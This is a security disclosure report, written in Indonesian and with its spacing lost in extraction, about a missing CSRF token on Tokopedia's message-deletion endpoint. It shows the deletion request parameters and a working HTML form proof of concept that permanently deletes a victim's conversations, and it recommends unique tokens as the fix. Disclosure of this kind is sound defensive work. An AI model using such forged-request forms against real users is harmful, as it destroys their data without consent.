8
Missing CSRF Token that could Illegally Delete the Conversation August 29 th , 2016 @YoKoAcc ([email protected]) [Indonesian Version]

#5 Tokopedia - Missing CSRF Token that could Result ...firstsight.me/fia07a53c4ec63d2b0d47fe27ea2645d82f8c98648/[ID] Tokopedia...dituju akan membuat pengguna ... di dalam suatu aplikasi

  • Upload
    hahanh

  • View
    229

  • Download
    2

Embed Size (px)

Citation preview

MissingCSRFTokenthatcouldIllegallyDeletetheConversation

August29th,2016

@YoKoAcc([email protected])

[IndonesianVersion]

MissingCSRFTokenthatcouldIllegallyDeletetheConversation|page|2

RevisionDetail

Version Date Detail

0.1 August29th,2016 -

MissingCSRFTokenthatcouldIllegallyDeletetheConversation|page|3

TableofContents

RevisionDetail........................................................................................................................................2

TableofContents...................................................................................................................................3

TableofFigures......................................................................................................................................3

I. ABSTRACT..........................................................................................................................................4

II. INTRODUCTION.................................................................................................................................5

III.SUMMARYOFISSUE..........................................................................................................................5

IV.INFORMATIONANDSITUATIONOFTHISPOC...................................................................................5

V. STEPTOREPRODUCE.........................................................................................................................7

VI.ADDITIONALINFORMATION..............................................................................................................8

VII.RECOMMENDATION........................................................................................................................8

VIII.REFERENCES....................................................................................................................................8

TableofFigures

Figure1FiturMengirimPesanpadaTokopedia.....................................................................................4

Figure2SuccessDeletingtheMessageviaCSRF...................................................................................7

MissingCSRFTokenthatcouldIllegallyDeletetheConversation|page|4

I. ABSTRACT

Berkirimpesan di dalam transaksi jual belimerupakan suatu hal yang lumrah dilakukan baik oleh

pembeli maupun penjual. Di dalam prosesnya pun masing-masing pihak secara umum memiliki

kecenderunganuntukmenyimpanpercakapanyangpernahdilakukannyabaikuntukalasanbuktidi

kemudianharikelakbilaterjadihalyangtidakdiinginkanataupunatasdasarhalyanglainnya.

Figure1FiturMengirimPesanpadaTokopedia

Akantetapipermasalahanpunmunculketikaprosespenghapusanyangdilakukanolehaplikasidari

Tokopedia belum memberikan perlindungan berupa unique token. Dengan memanfaatkan

kerentanan ini,maka seorangAttacker yangberhasilmembawapengguna kehalamanpalsu yang

ditujuakanmembuatpenggunadimaksuduntukmenghapuspercakapansecaratidaklangsungyang

pernahdilakukansatusamalain(daripenggunakeAttackerataupunsebaliknya).

Sebelumnya kerentanan serupa juga ditemukan pada fitur berkirim pesan, namun kerentanan ini

sendiri telah ditutupi oleh pihak Tokopedia sekitar jam 1 pagi per tanggal 29 Agustus dengan

menambahkanfiturcaptcha.

MissingCSRFTokenthatcouldIllegallyDeletetheConversation|page|5

II. INTRODUCTION

Sepertiyangpernahdibahaspadapapersebelumnya,secaraumumCSRFmerupakansuatuserangan

yang“memaksa”seorangpenggunauntukmelakukansesuatuyangpadadasarnya“tidakdiinginkan”

di dalam suatu aplikasi berbasiswebdenganmemanfaatkan keadaan diri korbannya yang sedang

dalamkeadaanmemiliki otorisasi (login).Umumnya serangan jenis ini dapatdimanfaatkankarena

tidakterdapatnyasuatuprosesautentikasidalammelakukansuatuperubahanatautidakterdapatnya

tokenyangunikyangdiberikanizinuntukmemproseshaldimaksud(tokenbersifatunikinibiasanya

diberikansupayapenggunatidaklagidipersulitdenganmengetikankatasandiuntukperubahanyang

tidakterlalusignificant).

DidalamsitusTokopedia,setiapperubahanyangdilakukanolehpenggunabaikitumengubahprofile,

menambahdaftarrekening,menambahdaftaralamat,ataupunmenghapusdaftaryangditambahkan

selalu disertai dengan token yang di-generate secara otomatis oleh sistem. Perbedaannya, ketika

penambahan suatu rekening danmengubah profile, pengguna diharuskanmemasukan kata sandi

ataupunmengirimkanOTPterlebihdahulu.

III. SUMMARYOFISSUE

Sepertiyang telahdisampaikanpadapointsebelumnya,permasalahankeamananpada laporan ini

berkaitan dengan kerentanan yang “mengizinkan” seorang Attacker untuk dapat menghapus

percakapanyangpernahdilakukannyadengankorbandikarenakanbelumterdapatnyaperlindungan

berupauniquetoken.

IV. INFORMATIONANDSITUATIONOFTHISPOC

Untukdapatmemahamidenganbaikakanpermasalahanyangada,padabagianiniakandisampaikan

kembali secara spesifikmengenaibeberapa informasi yangberkaitandenganprosesyangberjalan

secaraumumdariaplikasimaupunakardaripermasalahanyangada.

Tokopediamemilikibeberapahalyangdi-requestmenujuserveruntukdapatmelakukanbeberapa

hal,yaitu:

4.1. action : merupakan parameter yang berisikan mengenai perintah yang ingin dilakukan oleh

seorangpengguna;

4.2. delete_message:merupakanactionyangdigunakanuntukmenghapuspesan.Penghapusanini

tidakpermanensehinggadapatkembalidi-restorebilasuatusaatnantidiperlukan;

MissingCSRFTokenthatcouldIllegallyDeletetheConversation|page|6

4.3. delete_forever_message : merupakan action yang digunakan untuk menghapus suatu pesan

secarapermanen;

4.4. data_element : merupakan parameter yang berisikan informasi mengenai nomor inbox ID,

messageID,danletakpesanyangdikirimkanataupunditerimaolehseorangpengguna;

4.5. inbox_id:merupakannomorIDdarisuatuinboxyangberkaitandengansuatupercakapan;

4.6. msg_id :merupakannomor IDdari suatupesanyangdikirimkanyangberkaitandengansuatu

percakapan;

4.7. inbox-message :merupakanparameteryangmenandakanbahwasuatupesanberadadikotak

masuk(inbox);

4.8. inbox-message-sent :merupakanparameter yangmenandakanbahwa suatupesanberadadi

kotak“terkirim”(sentitem).

Adapuncontohrequestyangdikirimkanterkaitprosespenghapusaniniyaitusebagaiberikut:

POST/ajax/inbox/message-eng4.pl?aws=1HTTP/1.1

Host:www.tokopedia.com

User-Agent:Mozilla/5.0(Macintosh;IntelMacOSX10.11;rv:48.0)Gecko/20100101Firefox/48.0

Accept:application/json,text/javascript,*/*;q=0.01

Accept-Language:en-US,en;q=0.5

Accept-Encoding:gzip,deflate,br

DNT:1

Content-Type:application/x-www-form-urlencoded;charset=UTF-8

X-Requested-With:XMLHttpRequest

Referer:https://www.tokopedia.com/inbox-message.pl?nav=inbox-message-sent

Content-Length:139

Cookie:someofcookiesvaluehere

action=delete_forever_message&data_element=%7B%22inbox_id%22%3A51488082%2C%22msg_id%22%3A22351566%2C%22nav%22%3A%22inbox-message-sent%22%7D

Table1RequestforDeleting

Tergantung dari pilihan “Attacker” (antara delete_message atau delete_forever_message), suatu

percakapanyangpernahdilakukannyabersamakorbanakandapatterhapusbaiksementaraataupun

permanen.

MissingCSRFTokenthatcouldIllegallyDeletetheConversation|page|7

V. STEPTOREPRODUCE

5.1. Temukan terlebih dahulu inbox_id dan msg_id yang di-generate oleh aplikasi berdasarkan

percakapan yang telah dilakukan oleh Attacker dengan korbannya. Dalam hal ini, proses

pencarianakan inbox_iddanmsg_iddapatdilakukandenganmengirimactionpenghapusan

terlebihdahulusepertiyangtelahdisampaikanpadaTable1.

Ketikaprosesinidilakukan,makakitaakanmemperolehisidaridata_elementberupa:

%7B%22inbox_id%22%3A51488082%2C%22msg_id%22%3A22351566%2C%22nav%22%3A%

22inbox-message-sent%22%7Dyangbiladi-decodeakanmenjadi

{"inbox_id":51488082,"msg_id":22351566,"nav":"inbox-message-sent"}

5.2. Langkah berikutnya yang harus dilakukan adalah denganmembuat submit form sederhana

dengan .html yang ketika diklik oleh korban, maka korban ini akan menghapus pesan

percakapanyangdilakukannyadenganAttacker.

<html><body><formaction="https://www.tokopedia.com/ajax/inbox/message-eng4.pl?aws=1"method="POST"><inputtype="hidden"name="action"value="delete_forever_message"/><inputtype="hidden"name="data_element"value='{"inbox_id":51488083,"msg_id":22351566,"nav":"inbox-message"}'/><inputtype="submit"value="Submitrequest"/></form></body></html>

Table2.htmlfilefordeletingtheconversationpermanently

5.3. Setelah itu,Attackerhanyaperlumenunggu korbanmengunjungiURL yang telahdisiapkan.

Perlumenjadi catatan bahwa .html file yang dipersiapkan oleh Attacker tidak hanya dapat

berupa submit button,melainkan juga request otomatis denganmemanfaatkan library dari

jquerydihttp://code.jquery.com/jquery-1.12.1.min.js.

Figure2SuccessDeletingtheMessageviaCSRF

MissingCSRFTokenthatcouldIllegallyDeletetheConversation|page|8

VI. ADDITIONALINFORMATION

Untuk dapat memaksimalkan informasi yang disampaikan pada laporan ini, berikut ini terlampir

beberapakondisitambahanyangperludiperhatikan:

6.1. Percakapan yang dapat dihapus hanyalah percakapan yang pernah terjadi denganAttacker.

Dalamhal ini,Attackertidakdapatmenggunakancaraserupauntukmenghapuspercakapan

lainkecualiAttackermengetahuinilaidariinbox_iddanmsg_iddarikorbannya;

6.2. Sebagaimana yang juga terjadi dengan kerentanan Reflected XSS yang pernah disampaikan

pada laporan sebelumnya, keberhasilan dari serangan ini bergantung dari korban yang

terpedayauntukmengunjungisuatuURLyangdidalamnyatelahdisisipkan .html fileseperti

yangtelahdijelaskansebelumnya;

6.3. PoCVideo(UnlistedatYoutube):https://youtu.be/jY4tzuTHlD4

VII. RECOMMENDATION

Dalamhalini,penambahanparametertokenyangbersifatunikdisetiappengirimanactiontertentu

akanmenjadirekomendasiyangdapatditerapkanuntukmenutupikerentananyangada.

VIII. REFERENCES

8.1. PCIDSSv3.2point6.5.9(forCSRF);

8.2. https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF);

8.3. https://www.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_(CSRF)